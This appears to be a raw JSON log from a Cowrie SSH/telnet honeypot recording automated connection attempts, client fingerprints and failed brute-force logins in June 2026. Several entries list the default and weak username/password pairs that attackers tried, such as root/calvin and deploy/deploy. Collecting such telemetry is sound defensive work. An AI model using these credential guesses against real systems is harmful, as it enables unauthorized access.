{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:28.087224Z","src_ip":"91.92.40.36","session":"1d94b976d671","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":53450,"dst_ip":"10.17.0.5","dst_port":22,"session":"fcc1beada48c","protocol":"ssh","message":"New connection: 91.92.40.36:53450 (10.17.0.5:22) [session: fcc1beada48c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:34.435184Z"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":49806,"dst_ip":"159.203.135.109","dst_port":23,"session":"970335a1d95d","protocol":"telnet","message":"New connection: 172.81.62.90:49806 (159.203.135.109:23) [session: 970335a1d95d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:34.550291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:34.949042Z","src_ip":"91.92.40.36","session":"fcc1beada48c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:35.991093Z","src_ip":"91.92.40.36","session":"fcc1beada48c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webadm","password":"webadm","message":"login attempt [webadm/webadm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:40.363040Z","src_ip":"91.92.40.36","session":"fcc1beada48c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":64522,"dst_ip":"10.17.0.5","dst_port":22,"session":"be610c5a5af0","protocol":"ssh","message":"New connection: 91.92.40.36:64522 (10.17.0.5:22) [session: be610c5a5af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:40.978404Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:41.101712Z","src_ip":"91.92.40.36","session":"be610c5a5af0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:41.106664Z","src_ip":"91.92.40.36","session":"be610c5a5af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.0","message":"Connection lost after 8.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:42.410408Z","src_ip":"91.92.40.36","session":"fcc1beada48c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"john","password":"123456","message":"login attempt [john/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:42.452761Z","src_ip":"91.92.40.36","session":"be610c5a5af0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:43.728714Z","src_ip":"91.92.40.36","session":"be610c5a5af0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43396,"dst_ip":"10.17.0.5","dst_port":22,"session":"6d8fcba91d19","protocol":"ssh","message":"New connection: 91.92.40.36:43396 (10.17.0.5:22) [session: 6d8fcba91d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:47.418670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:48.007599Z","src_ip":"91.92.40.36","session":"6d8fcba91d19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:48.011250Z","src_ip":"91.92.40.36","session":"6d8fcba91d19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy","message":"login attempt [deploy/deploy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:50.966896Z","src_ip":"91.92.40.36","session":"6d8fcba91d19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.0","message":"Connection lost after 5.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:52.438761Z","src_ip":"91.92.40.36","session":"6d8fcba91d19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":43448,"dst_ip":"10.17.0.5","dst_port":22,"session":"124b489eb6f4","protocol":"ssh","message":"New connection: 91.92.40.36:43448 (10.17.0.5:22) [session: 124b489eb6f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:54.771736Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:55.497222Z","src_ip":"91.92.40.36","session":"124b489eb6f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:55.500455Z","src_ip":"91.92.40.36","session":"124b489eb6f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"calvin","message":"login attempt [root/calvin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:58.779591Z","src_ip":"91.92.40.36","session":"124b489eb6f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.213.34.99","src_port":41044,"dst_ip":"159.203.135.109","dst_port":22,"session":"ffa4ef6817d2","protocol":"ssh","message":"New connection: 102.213.34.99:41044 (159.203.135.109:22) [session: ffa4ef6817d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:59.848730Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:50:59.853575Z","src_ip":"102.213.34.99","session":"ffa4ef6817d2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:00.023371Z","src_ip":"102.213.34.99","session":"ffa4ef6817d2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"es","password":"12345678","message":"login attempt [es/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:00.750585Z","src_ip":"102.213.34.99","session":"ffa4ef6817d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.0","message":"Connection lost after 6.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:00.762532Z","src_ip":"91.92.40.36","session":"124b489eb6f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:01.926838Z","src_ip":"102.213.34.99","session":"ffa4ef6817d2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.78355050086975,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:02.748350Z","src_ip":"128.199.8.54","session":"47670f48b8c9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":21500,"dst_ip":"10.17.0.5","dst_port":22,"session":"8563e1a8a546","protocol":"ssh","message":"New connection: 91.92.40.36:21500 (10.17.0.5:22) [session: 8563e1a8a546]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:03.383833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:03.682851Z","src_ip":"91.92.40.36","session":"8563e1a8a546","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:03.689934Z","src_ip":"91.92.40.36","session":"8563e1a8a546","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"0987654321","message":"login attempt [root/0987654321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:05.031978Z","src_ip":"91.92.40.36","session":"8563e1a8a546","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:07.068862Z","src_ip":"91.92.40.36","session":"8563e1a8a546","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"102.210.148.92","src_port":34986,"dst_ip":"159.203.135.109","dst_port":22,"session":"f002ede49bea","protocol":"ssh","message":"New connection: 102.210.148.92:34986 (159.203.135.109:22) [session: f002ede49bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:08.652077Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:08.657702Z","src_ip":"102.210.148.92","session":"f002ede49bea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:08.888918Z","src_ip":"102.210.148.92","session":"f002ede49bea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"123","message":"login attempt [runner/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:09.856042Z","src_ip":"102.210.148.92","session":"f002ede49bea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:11.092299Z","src_ip":"102.210.148.92","session":"f002ede49bea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55656,"dst_ip":"10.17.0.5","dst_port":22,"session":"9acc381c24fe","protocol":"ssh","message":"New connection: 91.92.40.36:55656 (10.17.0.5:22) [session: 9acc381c24fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:11.779643Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:12.088230Z","src_ip":"91.92.40.36","session":"9acc381c24fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:13.847101Z","src_ip":"91.92.40.36","session":"9acc381c24fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.9898898601532,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:14.540198Z","src_ip":"172.81.62.90","session":"970335a1d95d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":31826,"dst_ip":"10.17.0.5","dst_port":22,"session":"9fbff8fbf779","protocol":"ssh","message":"New connection: 91.92.40.36:31826 (10.17.0.5:22) [session: 9fbff8fbf779]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:16.627025Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T19:51:17.359253Z","src_ip":"91.92.40.36","session":"9fbff8fbf779","protocol":"ssh"}
